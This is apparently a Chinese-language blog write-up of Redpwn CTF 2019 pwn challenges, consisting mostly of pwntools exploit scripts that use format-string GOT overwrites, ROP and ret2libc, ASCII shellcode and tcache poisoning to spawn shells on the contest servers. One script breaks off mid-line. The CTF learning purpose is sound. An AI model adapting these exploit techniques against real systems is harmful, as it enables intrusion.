Redpwn CTF 2019小记

上周参加了一下这个比赛，谈不上好。

一共12道Pwn题，比赛时做了8个，赛后做出来两个简单记录下

---

BabbyPwn

签到题，nc过去就会输出flag

Rot26

程序将输入进行移位，rot26移位之后还是原字符，对输入没有什么影响

#!/usr/bin/env python
# rot26函数无效，格式化字符串漏洞修改exit的GOT表为预留shell地址
from pwn import *

#p = process('./rot26')
p = remote('chall.2019.redpwn.net',4003)
elf = ELF('./rot26')

winners_room = 0x8048737
offset = 7
payload = fmtstr_payload(offset, {elf.got['exit']:winners_room})
#print payload
p.sendline(payload)

p.interactive()

HARDMODE

#!/usr/bin/env python
from pwn import *

#p = process('./hardmode')
p = remote('chall.2019.redpwn.net',4002)
elf = ELF('./hardmode')

sh_addr = 0x0804866c

payload = 'A'*26 # padding
payload += 'bbbb' # fake var4
payload += 'cccc' # fake ebp
payload += p32(elf.plt['system']) # 调用system函数
payload += p32(0xdeadbeef) # 返回地址
payload += p32(sh_addr) # sh 字符串地址

p.recvuntil('Welcome to my fiendish little challenge\n')
p.sendline(payload)

p.interactive()

Bronze Ropchain

fgets函数遇到\x0a会被截断，ROPgadget生成chain的时候可以指定badbytes

ROPgadget --binary ./bronze_ropchain --badbytes "00|0a" --ropchain

#!/usr/bin/env python2
# execve generated by ROPgadget
from pwn import *
from struct import pack
# context.log_level = 'debug'
# Padding goes here
p = ''
p += pack('

Zipline

#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

zipline = 0x80494CE
#p = process('zipline')
p = remote('chall.2019.redpwn.net',4005)
elf = ELF('zipline')

payload = 'A'*22 +p32(elf.plt['puts']) + p32(zipline) + p32(elf.got['puts'])

p.recvuntil('Ready for a ride on the zipline to hell?\n')
p.sendline(payload)
puts_addr = u32(p.recv(4))
# leak
obj = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - obj.dump("puts")
sys_addr = libc_base + obj.dump("system")       
binsh_addr = libc_base + obj.dump("str_bin_sh")
print hex(libc_base)

payload = 'A'*22 + p32(sys_addr) + p32(0xdeadbeef) + p32(binsh_addr)
p.sendline(payload)

p.interactive()

Stop,ROP,n',Roll

看flag预期解应该是srop，不过ret2libc也能做....

#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'


#p = process('srnr')
p = remote('chall.2019.redpwn.net',4008)
elf = ELF('./srnr')
main = 0x00000000040073B
pop_rdi = 0x0000000000400823
pop_rsi_r15 = 0x0000000000400821
bss = 0x602048
#p.recv()
p.recvuntil('[#] number of bytes: ')
p.sendline('0')


payload = 'A'*9 + 'bbbbbbbb' +p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(bss) + p64(0xdeadbeef) + p64(elf.plt['read']) + p64(main) 
p.send(payload)
#gdb.attach(p)
p.send(r'%s')
#p.recv()
p.recvuntil('[#] number of bytes: ')
p.sendline('0')
payload = 'A'*9 + 'bbbbbbbb' +p64(pop_rdi) + p64(bss) + p64(pop_rsi_r15) + p64(elf.got['read']) + p64(0xdeadbeef) + p64(elf.plt['printf']) + p64(main) 
#gdb.attach(p)
p.send(payload)
read_addr = u64(p.recv(6).ljust(8,'\x00'))


obj = LibcSearcher("read",read_addr)
libc_base = read_addr - obj.dump("read")
system_addr = libc_base + obj.dump("system")
bin_sh_addr = libc_base + obj.dump("str_bin_sh")


p.recvuntil('[#] number of bytes: ')
p.sendline('0')


payload = 'A'*9 + 'bbbbbbbb' +p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
p.send(payload)


p.interactive()

Dennis Says

程序预留了Arbitrary write，leak出libc base后直接修改fputs@GOT为system address

#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

R = 1
if R:
    p = remote('chall.2019.redpwn.net',4006)
    libc = ELF('libc-2.23.so')
else:
    p = process('dennis')
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')

elf = ELF('dennis')

def greet(size):
    p.recvuntil('Command me: ')
    p.sendline('1')
    p.recvuntil('How much greet? : ')
    p.sendline(str(size))

def writ(size):
    p.recvuntil('Command me: ')
    p.sendline('2')
    p.recvuntil('How much writ? : ')
    p.sendline(str(size))   
def yeet():
    p.recvuntil('Command me: ')
    p.sendline('3')

def eat(content):
    p.recvuntil('Command me: ')
    p.sendline('4')
    p.recvuntil('Pizza: ')
    p.sendline(content)

def delet():
    p.recvuntil('Command me: ')
    p.sendline('5')

def repeat():
    p.recvuntil('Command me: ')
    p.sendline('6')
    p.recvuntil("Dennis repeat\n")
    p.sendline('/bin/sh\x00')

spm = 0x0804B050
greet(16)
payload = p32(elf.got['puts']) + p32(spm) 
eat(payload)
yeet()
writ(4)
puts_addr = u32(p.recv(4))
print hex(puts_addr)
#gdb.attach(p)
libc_base = puts_addr - libc.symbols['puts']
log.success("libc_base => %s" % hex(libc_base))
sys_addr = libc_base + libc.symbols['system']

greet(16)
#gdb.attach(p)
payload = p32(sys_addr) + p32(elf.got['fputs'])
eat(payload)
yeet()
repeat()

p.interactive()

Knuth

蛮有意思的ascii shellcode

#!/usr/bin/env python
from pwn import *
from time import sleep
#context.log_level = 'debug'
#p = process('knuth')
p = remote('chall.2019.redpwn.net',4009)

shellcode = "PYIIIIIIIIIIQZVTX30VX4AP0A3HH"
shellcode +="0A00ABAABTAAQ2AB2BB0BBXP8ACJJ"
shellcode +="ISZTK1HMIQBSVCX6MU3K9M7CXVOSC"
shellcode +="3XS0BHVOBBE9RNLIJC62ZH5X5PS0C"
shellcode +="0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA"

p.recv()
sleep(1)
p.recv()
p.sendline(shellcode)

p.interactive()

https://blog.csdn.net/v_ling_v/article/details/42824007

Penpal World

uaf+double free+tcache_poisoning的综合利用，tcache的简单题

#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'

def add(idx):
    p.recvuntil("4) Read a postcard\n")
    p.sendline('1')
    p.recvuntil('Which envelope #?\n')
    p.sendline(str(idx))

def Del(idx):
    p.recvuntil('4) Read a postcard\n')
    p.sendline('3')
    p.recvuntil('Which envelope #?\n')
    p.sendline(str(idx))

def edit(idx,content):
    p.recvuntil('4) Read a postcard\n')
    p.sendline('2')
    p.recvuntil('Which envelope #?\n')
    p.sendline(str(idx))
    p.recvuntil('Write.\n')
    p.sendline(content)

def show(idx):
    p.recvuntil('4) Read a postcard\n')
    p.sendline('4')
    p.recvuntil('Which envelope #?\n')
    p.sendline(str(idx))

p = process('penpal_world')
# p = remote('127.0.0.1',8888)
# elf = ELF('penpal_world')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

add(0)
Del(0)
Del(0)
#gdb.attach(p)
show(0)
heap_base = u64(p.recv(6).ljust(8,"\x00"))-0x260
log.info("heap_base  ==>  %s" % hex(heap_base))
#gdb.attach(p)

edit(0,p64(heap_base+0x10))
add(0)
add(1)
Del(0)
Del(0)

for i in range(8):
    Del(1)

show(1)
libc_base = u64(p.recv(6).ljust(8,"\x00"))-(0x00007f7e41e32ca0-0x7f7e41a47000)
log.info("libc_base  ==>  %s" % hex(libc_base))
#gdb.attach(p)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
log.info("__malloc_hook  ==>  %s" % hex(malloc_hook))
one_gadget = libc_base + 0x10a38c
log.success("one_gadget  ==>  %s" % hex(one_gadget))

edit(0,p64(malloc_hook))
add(0)
add(0)

edit(0,p64(one_gadget))
add(0)
#gdb.attach(p)

p.interactive()

Black Echo

Blind fmt

先dump下来binary，但是dump内存的时候有个坑，server端用的fgets函数遇到换行时会截断，也就是说地址包含0xa的时候dump不到memory，这个比赛当时没有做出来，赛后参考别人的writeup进行了复现

dump.py:

#!/usr/bin/python
from pwn import *
import binascii

r = remote('127.0.0.1',8888)
binary = ''
out = ''
x=0x8049000
while x < x+0x2000:
    address = "0%x" % x
    if ('\n' in binascii.unhexlify(address)):
        out = 'a'
        binary += '\x00'
    else:
        r.sendline("%9$s"+"ssta"+p32(x))
        out = r.recvuntil('ssta',drop=True)
        log.info("%s  ==>  %s" %(address,out))
        r.recv(timeout=1)
        if out == '':
            out = 'a'
            binary += '\x00'
        else:
            binary += out
    with open('bin','wb+') as f:
        f.write(binary)
    x += len(out)

https://teamrocketist.github.io/2019/08/17/Pwn-RedpwnCTF-Black-Echo/

dump下来binary之后找到printf、fgets等函数的GOT地址，之后是常规操作

from pwn import *
from LibcSearcher import *
# context.log_level = 'debug'

p = remote('127.0.0.1',8888)
got_fgets = 0x804A014
got_printf = 0x804A010
offset = 7

payload = "%9$s"+"ssta"+p32(got_fgets)
p.sendline(payload)
fgets_addr = u32(p.recv(4))
log.success("fgets_addr  ==>  %s" % hex(fgets_addr))
obj = LibcSearcher("fgets",fgets_addr)
libc_base = fgets_addr-obj.dump('fgets')
log.success("libc base  ==>  %s" % hex(libc_base))
system_addr = libc_base + obj.dump("system")
log.success("system_addr  ==>  %s" % hex(system_addr))

payload = fmtstr_payload(offset, {got_printf:system_addr})
p.sendline(payload)
p.recv()
p.sendline("/bin/sh\x00")
p.interactive()